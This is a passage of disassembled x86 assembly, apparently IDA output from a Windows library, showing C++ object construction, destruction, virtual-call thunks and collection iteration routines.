		jmp	short loc_69B6AC29
; ---------------------------------------------------------------------------


loc_69B6AC18:				; CODE XREF: sub_69B6AB52+AFj
					; sub_69B6AB52+BBj
		push	0


loc_69B6AC1A:				; CODE XREF: sub_69B6AB52+8Aj
		mov	ecx, [esi+3Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+7Ch]
		push	eax
		push	edi
		call	sub_69B17320


loc_69B6AC29:				; CODE XREF: sub_69B6AB52+86j
					; sub_69B6AB52+C4j
		or	byte ptr [esi+30h], 80h


loc_69B6AC2D:				; CODE XREF: sub_69B6AB52+3Bj
					; sub_69B6AB52+63j ...
		pop	edi


loc_69B6AC2E:				; CODE XREF: sub_69B6AB52+1Bj
		pop	esi
		retn	4
sub_69B6AB52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6AC32	proc near		; CODE XREF: sub_69B6ACD6+1Cp
					; sub_69B6AD26+1Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+38h]
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+3Ch]
		mov	edi, [ebp+arg_0]
		cmp	edi, ebx
		jz	short loc_69B6ACBB
		mov	ecx, [esi+38h]
		mov	ebx, [edi]
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		push	eax
		push	dword ptr [esi+44h]
		mov	ecx, edi
		call	dword ptr [ebx+8]
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_69B6ACCC
		cmp	ecx, 6
		jnz	short loc_69B6ACB0
		mov	eax, [eax+8]
		lea	edi, [esi+3Ch]
		cmp	[edi], eax
		jz	short loc_69B6AC91
		push	eax
		push	edi
		call	sub_69B17320
		push	0
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17320
		and	byte ptr [esi+30h], 7Fh


loc_69B6AC91:				; CODE XREF: sub_69B6AC32+47j
		push	[ebp+arg_8]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+50h]
		test	byte ptr [esi+30h], 80h
		jz	short loc_69B6ACA4
		lea	edi, [esi+40h]


loc_69B6ACA4:				; CODE XREF: sub_69B6AC32+6Dj
		push	dword ptr [edi]
		mov	ecx, [ebp+arg_4]
		call	sub_69B64115
		jmp	short loc_69B6ACCC
; ---------------------------------------------------------------------------


loc_69B6ACB0:				; CODE XREF: sub_69B6AC32+3Dj
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B64999
		jmp	short loc_69B6ACCC
; ---------------------------------------------------------------------------


loc_69B6ACBB:				; CODE XREF: sub_69B6AC32+1Bj
		cmp	eax, ebx
		jz	short loc_69B6ACCC
		push	[ebp+arg_4]
		mov	edx, [eax]
		push	ebx
		push	ebx
		push	ebx
		mov	ecx, eax
		call	dword ptr [edx+54h]


loc_69B6ACCC:				; CODE XREF: sub_69B6AC32+38j
					; sub_69B6AC32+7Cj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B6AC32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6ACD6	proc near		; CODE XREF: sub_69B6ADF2+Bp

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_10], 0
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		mov	esi, ecx
		mov	[ebp+var_C], 0
		call	sub_69B6AC32
		cmp	[ebp+var_10], 6
		mov	edi, eax
		jz	short loc_69B6AD16
		mov	ecx, [esi+38h]
		mov	eax, [ecx]
		push	0
		push	0
		call	dword ptr [eax+38h]
		push	eax
		push	0C00CE314h
		call	sub_69B6E277


loc_69B6AD16:				; CODE XREF: sub_69B6ACD6+27j
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B6ACD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6AD26	proc near		; DATA XREF: .text:69B13A30o

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		xor	eax, eax
		push	eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], al
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		mov	esi, ecx
		lea	ecx, [esi-8]
		call	sub_69B6AC32
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		lea	ecx, [ebp+var_10]
		call	sub_69B64008
		cmp	[ebp+var_10], 1
		jz	short loc_69B6AD63
		or	esi, 0FFFFFFFFh
		jmp	short loc_69B6AD67
; ---------------------------------------------------------------------------


loc_69B6AD63:				; CODE XREF: sub_69B6AD26+36j
		movzx	esi, [ebp+var_8]


loc_69B6AD67:				; CODE XREF: sub_69B6AD26+3Bj
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	0Ch
sub_69B6AD26	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AD76	proc near		; DATA XREF: .text:69B13A34o

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	0
		push	[esp+4+arg_C]
		add	ecx, 0FFFFFFF8h
		push	[esp+8+arg_0]
		call	sub_69B6AC32
		retn	10h
sub_69B6AD76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6AD8B	proc near		; DATA XREF: .text:69B13A38o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		xor	eax, eax
		push	esi
		push	eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], al
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], al
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		mov	esi, ecx
		lea	ecx, [esi-8]
		call	sub_69B6AC32
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx]
		lea	edx, [ebp+var_10]
		push	edx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_20]
		call	sub_69B65333
		lea	ecx, [ebp+var_10]
		mov	esi, eax
		call	sub_69B466CC
		lea	ecx, [ebp+var_20]
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	14h
sub_69B6AD8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6ADF2	proc near		; DATA XREF: .text:69B13990o

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		add	ecx, 0FFFFFFF0h
		push	[esp+4+arg_0]
		call	sub_69B6ACD6
		retn	0Ch
sub_69B6ADF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AE05	proc near		; DATA XREF: .text:69B139C4o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0
		mov	edi, ecx
		call	sub_69B6CFE2
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	esi, eax
		lea	eax, [edi+28h]
		push	eax
		lea	ecx, [esi+38h]
		call	sub_69B4D414
		mov	eax, [edi+34h]
		mov	[esi+44h], eax
		lea	eax, [edi+2Ch]
		push	eax
		lea	ecx, [esi+3Ch]
		call	sub_69B4D414
		add	edi, 30h
		push	edi
		lea	ecx, [esi+40h]
		call	sub_69B4D414
		push	[esp+8+arg_0]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+50h]
		pop	edi
		lea	eax, [esi+10h]
		pop	esi
		retn	4
sub_69B6AE05	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AE56	proc near		; DATA XREF: .text:69B13A7Co

arg_4		= dword	ptr  8

		mov	ecx, [ecx+38h]
		mov	eax, [ecx]
		push	ebx
		push	esi
		push	edi
		call	dword ptr [eax+38h]
		mov	edi, [esp+0Ch+arg_4]
		mov	esi, eax
		mov	ecx, [esi+10h]
		test	ecx, ecx
		jz	short loc_69B6AE89
		mov	eax, dword_69B9B328
		mov	ebx, [eax+8]
		mov	eax, [ecx]
		push	ebp
		mov	ebp, [edi]
		call	dword ptr [eax+2Ch]
		push	eax
		push	ebx
		mov	ecx, edi
		call	dword ptr [ebp+0ACh]
		pop	ebp


loc_69B6AE89:				; CODE XREF: sub_69B6AE56+16j
		mov	eax, dword_69B9B320
		mov	ecx, [esi+14h]
		mov	esi, [eax+8]
		mov	eax, [ecx]
		mov	ebx, [edi]
		call	dword ptr [eax+2Ch]
		push	eax
		push	esi
		mov	ecx, edi
		call	dword ptr [ebx+0ACh]
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B6AE56	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B6B06D


loc_69B6AEAB:				; CODE XREF: sub_69B6B06D+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B6D38A
		push	[esp+4+arg_4]
		xor	eax, eax
		push	[esp+8+arg_0]
		mov	dword ptr [esi], offset	off_69B13A40
		mov	dword ptr [esi+8], offset off_69B139E0
		mov	dword ptr [esi+10h], offset off_69B13948
		mov	[esi+38h], eax
		mov	[esi+3Ch], eax
		mov	ecx, esi
		mov	[esi+40h], eax
		call	sub_69B6AB37
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B6B06D

; =============== S U B	R O U T	I N E =======================================



sub_69B6AEE7	proc near		; DATA XREF: .text:69B139B8o
		fld	ds:dbl_69B29700
		retn
sub_69B6AEE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AEEE	proc near		; DATA XREF: .text:69B139ECo

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B6B014
sub_69B6AEEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AEF6	proc near		; DATA XREF: .text:69B139FCo
		sub	ecx, 8
		jmp	sub_69B6AA10
sub_69B6AEF6	endp

; ---------------------------------------------------------------------------


loc_69B6AEFE:				; DATA XREF: .text:69B13954o
		sub	ecx, 10h
		jmp	sub_69B6B014
; ---------------------------------------------------------------------------


loc_69B6AF06:				; DATA XREF: .text:69B13964o
		sub	ecx, 10h
		jmp	sub_69B6AA10

; =============== S U B	R O U T	I N E =======================================



sub_69B6AF0E	proc near		; DATA XREF: .text:69B13A1Co
		mov	ecx, [ecx+30h]
		mov	eax, [ecx]
		jmp	dword ptr [eax+40h]
sub_69B6AF0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AF16	proc near		; DATA XREF: .text:69B139A8o
		test	byte ptr [ecx+20h], 80h
		lea	eax, [ecx+30h]
		jnz	short loc_69B6AF22
		lea	eax, [ecx+2Ch]


loc_69B6AF22:				; CODE XREF: sub_69B6AF16+7j
		mov	eax, [eax]
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+60h]
sub_69B6AF16	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AF2B	proc near		; DATA XREF: .text:69B139ACo
		test	byte ptr [ecx+20h], 80h
		lea	eax, [ecx+30h]
		jnz	short loc_69B6AF37
		lea	eax, [ecx+2Ch]


loc_69B6AF37:				; CODE XREF: sub_69B6AF2B+7j
		mov	eax, [eax]
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+64h]
sub_69B6AF2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AF40	proc near		; DATA XREF: .text:69B139B0o
		test	byte ptr [ecx+20h], 80h
		lea	eax, [ecx+30h]
		jnz	short loc_69B6AF4C
		lea	eax, [ecx+2Ch]


loc_69B6AF4C:				; CODE XREF: sub_69B6AF40+7j
		mov	eax, [eax]
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+68h]
sub_69B6AF40	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AF55	proc near		; DATA XREF: .text:69B139B4o
		test	byte ptr [ecx+20h], 80h
		lea	eax, [ecx+30h]
		jnz	short loc_69B6AF61
		lea	eax, [ecx+2Ch]


loc_69B6AF61:				; CODE XREF: sub_69B6AF55+7j
		mov	eax, [eax]
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+6Ch]
sub_69B6AF55	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AF6A	proc near		; DATA XREF: .text:69B13980o
		test	byte ptr [ecx+20h], 80h
		lea	eax, [ecx+30h]
		jnz	short loc_69B6AF76
		lea	eax, [ecx+2Ch]


loc_69B6AF76:				; CODE XREF: sub_69B6AF6A+7j
		mov	eax, [eax]
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+38h]
sub_69B6AF6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AF7F	proc near		; DATA XREF: .text:69B13984o
		xor	eax, eax
		cmp	[ecx+2Ch], eax
		jz	short locret_69B6AF99
		test	byte ptr [ecx+20h], 80h
		lea	eax, [ecx+30h]
		jnz	short loc_69B6AF92
		lea	eax, [ecx+2Ch]


loc_69B6AF92:				; CODE XREF: sub_69B6AF7F+Ej
		mov	ecx, [eax]
		mov	eax, [ecx]
		jmp	dword ptr [eax+3Ch]
; ---------------------------------------------------------------------------

locret_69B6AF99:			; CODE XREF: sub_69B6AF7F+5j
		retn
sub_69B6AF7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AF9A	proc near		; DATA XREF: .text:69B13988o
		test	byte ptr [ecx+20h], 80h
		lea	eax, [ecx+30h]
		jnz	short loc_69B6AFA6
		lea	eax, [ecx+2Ch]


loc_69B6AFA6:				; CODE XREF: sub_69B6AF9A+7j
		mov	eax, [eax]
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+40h]
sub_69B6AF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AFAF	proc near		; CODE XREF: sub_69B6AFDD+3j
					; sub_69B6AFE2+3j
					; DATA XREF: ...
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+10h]
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax+80h]
		push	0
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6CBC6
sub_69B6AFAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AFDD	proc near		; DATA XREF: .text:69B13A14o
		sub	ecx, 8
		jmp	short sub_69B6AFAF
sub_69B6AFDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AFE2	proc near		; DATA XREF: .text:69B1397Co
		sub	ecx, 10h
		jmp	short sub_69B6AFAF
sub_69B6AFE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6AFE7	proc near		; CODE XREF: sub_69B6B055+Fp
		push	esi
		mov	esi, ecx
		call	sub_69B6D38A
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B13A40
		mov	dword ptr [esi+8], offset off_69B139E0
		mov	dword ptr [esi+10h], offset off_69B13948
		mov	[esi+38h], eax
		mov	[esi+3Ch], eax
		mov	[esi+40h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6AFE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B014	proc near		; CODE XREF: sub_69B6AEEE+3j
					; .text:69B6AF01j
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B6B02F
		test	[esp+4+arg_0], 1
		jz	short loc_69B6B029
		push	esi
		call	sub_69B1829F


loc_69B6B029:				; CODE XREF: sub_69B6B014+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6B014	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B02F	proc near		; CODE XREF: sub_69B6B014+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B65BC0
sub_69B6B02F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B055	proc near		; DATA XREF: .text:69B6AA1Co
		push	48h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6B06A
		push	0
		mov	ecx, eax
		call	sub_69B6AFE7
		retn
; ---------------------------------------------------------------------------


loc_69B6B06A:				; CODE XREF: sub_69B6B055+9j
		xor	eax, eax
		retn
sub_69B6B055	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B06D	proc near		; CODE XREF: sub_69B62A0F+17p
					; sub_69B732DB+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B6AEAB SIZE 0000003C BYTES

		push	48h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6B07F
		mov	ecx, eax
		jmp	loc_69B6AEAB
; ---------------------------------------------------------------------------


loc_69B6B07F:				; CODE XREF: sub_69B6B06D+9j
		xor	eax, eax
		retn	8
sub_69B6B06D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B084	proc near		; CODE XREF: sub_69B6B4C9+3j
					; .text:69B6B4D9j
					; DATA XREF: ...
		mov	eax, offset off_69B6B08C
		retn
sub_69B6B084	endp

; ---------------------------------------------------------------------------
		align 4
off_69B6B08C	dd offset off_69B29C7C	; DATA XREF: sub_69B6B084o
		dd offset loc_69B6B525

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6B094	proc near		; DATA XREF: .text:69B13AE4o

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+3Ch], 0
		jz	short loc_69B6B0D9
		cmp	dword ptr [esi+2Ch], 0
		jnz	short loc_69B6B0B5
		mov	eax, [esi]
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	dword ptr [eax+48h]
		jmp	short loc_69B6B0C4
; ---------------------------------------------------------------------------


loc_69B6B0B5:				; CODE XREF: sub_69B6B094+10j
		push	[ebp+arg_8]
		mov	ecx, [esi+30h]
		call	sub_69B1980A
		test	eax, eax
		jnz	short loc_69B6B0E0


loc_69B6B0C4:				; CODE XREF: sub_69B6B094+1Fj
		add	esi, 0FFFFFFF0h
		jmp	short loc_69B6B0CE
; ---------------------------------------------------------------------------


loc_69B6B0C9:				; CODE XREF: sub_69B6B094+43j
		cmp	[ebp+arg_8], eax
		jz	short loc_69B6B0E0


loc_69B6B0CE:				; CODE XREF: sub_69B6B094+33j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		test	eax, eax
		jnz	short loc_69B6B0C9


loc_69B6B0D9:				; CODE XREF: sub_69B6B094+Aj
		xor	eax, eax


loc_69B6B0DB:				; CODE XREF: sub_69B6B094+4Fj
		pop	esi
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B6B0E0:				; CODE XREF: sub_69B6B094+2Ej
					; sub_69B6B094+38j
		mov	eax, [ebp+arg_8]
		jmp	short loc_69B6B0DB
sub_69B6B094	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B0E5	proc near		; DATA XREF: .text:69B13B7Co
		mov	eax, [ecx+44h]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFF4h
		add	eax, 319h
		retn
sub_69B6B0E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B0F5	proc near		; DATA XREF: .text:69B13BC8o
		mov	eax, dword_69B9B3D0
		retn
sub_69B6B0F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B0FB	proc near		; CODE XREF: sub_69B6B4DE+3j
					; sub_69B6B4E6+3j
					; DATA XREF: ...
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	edi
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17320
		push	edi
		add	esi, 40h
		push	esi
		call	sub_69B17320
		pop	edi
		pop	esi
		retn
sub_69B6B0FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B136	proc near		; CODE XREF: sub_69B6B174+9p
					; sub_69B6B18A+28p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		mov	esi, ecx
		jz	short loc_69B6B170
		cmp	dword ptr [esi+4Ch], 0
		jz	short loc_69B6B14C
		cmp	[esi+38h], eax
		jz	short loc_69B6B161


loc_69B6B14C:				; CODE XREF: sub_69B6B136+Fj
		push	eax
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320


loc_69B6B161:				; CODE XREF: sub_69B6B136+14j
		call	sub_69B315A6
		push	eax
		add	esi, 40h
		push	esi
		call	sub_69B17320


loc_69B6B170:				; CODE XREF: sub_69B6B136+9j
		pop	esi
		retn	4
sub_69B6B136	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B174	proc near		; DATA XREF: .text:69B13ADCo
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+28h]
		lea	ecx, [esi-10h]
		call	sub_69B6B136
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6CCB6
sub_69B6B174	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B18A	proc near		; DATA XREF: .text:69B13AE0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		push	[esp+8+arg_8]
		mov	edi, [esp+0Ch+arg_4]
		push	edi
		push	[esp+10h+arg_0]
		mov	esi, ecx
		call	sub_69B6CD21
		test	edi, edi
		jz	short loc_69B6B1B9
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0B4h]
		push	eax
		lea	ecx, [esi-10h]
		call	sub_69B6B136
		jmp	short loc_69B6B1DA
; ---------------------------------------------------------------------------


loc_69B6B1B9:				; CODE XREF: sub_69B6B18A+18j
		push	0
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320


loc_69B6B1DA:				; CODE XREF: sub_69B6B18A+2Dj
		and	dword ptr [esi+34h], 0
		pop	edi
		pop	esi
		retn	0Ch
sub_69B6B18A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B1E3	proc near		; DATA XREF: .text:69B13B18o

arg_0		= dword	ptr  4

		cmp	byte ptr [esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_69B6B1F8
		push	dword ptr [esi+28h]
		lea	ecx, [esi-10h]
		call	sub_69B6B136


loc_69B6B1F8:				; CODE XREF: sub_69B6B1E3+8j
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_69B6CD55
		pop	esi
		retn	4
sub_69B6B1E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6B207	proc near		; CODE XREF: sub_69B6B250+61p
					; sub_69B6B43F+10p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		xor	ebx, ebx
		lea	esi, [ebp+var_10]
		push	esi
		push	ebx
		mov	eax, ecx
		mov	ecx, [eax+4Ch]
		push	ebx
		push	dword ptr [eax+18h]
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], bl
		mov	edx, [ecx]
		call	dword ptr [edx+54h]
		push	1
		mov	eax, esi
		push	eax
		push	5
		lea	ecx, [ebp+var_10]
		call	sub_69B64008
		cmp	[ebp+var_10], 5
		jnz	short loc_69B6B242
		mov	ebx, [ebp+var_8]


loc_69B6B242:				; CODE XREF: sub_69B6B207+36j
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_69B6B207	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B250	proc near		; DATA XREF: .text:69B13BD4o
		push	30h
		push	offset dword_69B6B3C8
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		mov	eax, [esi+14h]
		mov	[ebp-20h], eax
		mov	eax, [esi+38h]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_69B6B3A0


loc_69B6B274:				; CODE XREF: sub_69B6B250+107j
					; sub_69B6B250+16Dj
		cmp	[esi+3Ch], ebx
		jnz	loc_69B6B350
		cmp	[ebp-20h], ebx
		jz	short loc_69B6B294
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	[ebp-24h], eax
		cmp	eax, ebx
		jz	loc_69B6B3A0


loc_69B6B294:				; CODE XREF: sub_69B6B250+30j
		cmp	[esi+4Ch], ebx
		jnz	short loc_69B6B2A6
		mov	ecx, [ebp-24h]
		mov	eax, [ecx]
		push	1
		push	ebx
		call	dword ptr [eax+4Ch]
		jmp	short loc_69B6B2C7
; ---------------------------------------------------------------------------


loc_69B6B2A6:				; CODE XREF: sub_69B6B250+47j
		lea	edi, [esi+48h]
		mov	eax, [edi]
		cmp	eax, ebx
		jnz	short loc_69B6B2C7
		mov	ecx, esi
		call	sub_69B6B207
		push	eax
		push	edi
		call	sub_69B17320
		mov	eax, [edi]
		cmp	eax, ebx
		jz	loc_69B6B3A0


loc_69B6B2C7:				; CODE XREF: sub_69B6B250+54j
					; sub_69B6B250+5Dj
		mov	edi, eax
		cmp	[ebp-20h], ebx
		jz	short loc_69B6B2D5
		mov	ecx, esi
		call	sub_69B65903


loc_69B6B2D5:				; CODE XREF: sub_69B6B250+7Cj
		cmp	edi, ebx
		jz	short loc_69B6B350
		mov	[ebp-4], ebx
		mov	eax, [esi+38h]
		mov	[ebp-28h], eax
		mov	ecx, [eax+70h]
		mov	[ebp-2Ch], ecx
		mov	[ebp-30h], ecx
		mov	[ebp-34h], eax
		mov	al, [eax+82h]
		mov	[ebp-38h], al
		push	dword ptr [ebp-38h]
		push	edi
		push	4
		call	sub_69B4DE11
		mov	[ebp-3Ch], eax
		push	eax
		lea	ecx, [esi+3Ch]
		call	sub_69B199CC
		mov	[esi+44h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B6B350
; ---------------------------------------------------------------------------


loc_69B6B317:				; DATA XREF: .text:69B6B3CCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6B320:				; DATA XREF: .text:69B6B3D0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		test	eax, 0C00CE000h
		jz	short loc_69B6B342
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B6B3A0
; ---------------------------------------------------------------------------


loc_69B6B342:				; CODE XREF: sub_69B6B250+EAj
		call	sub_69B2E860
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]
		xor	ebx, ebx


loc_69B6B350:				; CODE XREF: sub_69B6B250+27j
					; sub_69B6B250+87j ...
		lea	edi, [esi+3Ch]
		mov	eax, [edi]
		cmp	eax, ebx
		jz	loc_69B6B274
		mov	eax, [eax+0Ch]
		mov	[ebp-40h], eax
		cmp	[esi+44h], eax
		jge	short loc_69B6B39B


loc_69B6B368:				; CODE XREF: sub_69B6B250+147j
		mov	ecx, [edi]
		push	dword ptr [esi+44h]
		call	sub_69B8A163
		mov	ecx, [esi+38h]
		push	eax
		call	sub_69B3E780
		mov	ebx, eax
		inc	dword ptr [esi+44h]
		test	ebx, ebx
		jz	short loc_69B6B391
		mov	ecx, [esi+40h]
		push	ebx
		call	sub_69B1980A
		test	eax, eax
		jz	short loc_69B6B3A8


loc_69B6B391:				; CODE XREF: sub_69B6B250+132j
		mov	eax, [ebp-40h]
		cmp	[esi+44h], eax
		jl	short loc_69B6B368
		xor	ebx, ebx


loc_69B6B39B:				; CODE XREF: sub_69B6B250+116j
		cmp	[esi+4Ch], ebx
		jz	short loc_69B6B3B6


loc_69B6B3A0:				; CODE XREF: sub_69B6B250+1Ej
					; sub_69B6B250+3Ej ...
		xor	eax, eax


loc_69B6B3A2:				; CODE XREF: sub_69B6B250+164j
		call	sub_69B1853C
		retn
; ---------------------------------------------------------------------------


loc_69B6B3A8:				; CODE XREF: sub_69B6B250+13Fj
		push	ebx
		push	ebx
		mov	ecx, [esi+40h]
		call	sub_69B3182D
		mov	eax, ebx
		jmp	short loc_69B6B3A2
; ---------------------------------------------------------------------------


loc_69B6B3B6:				; CODE XREF: sub_69B6B250+14Ej
		push	ebx
		push	edi
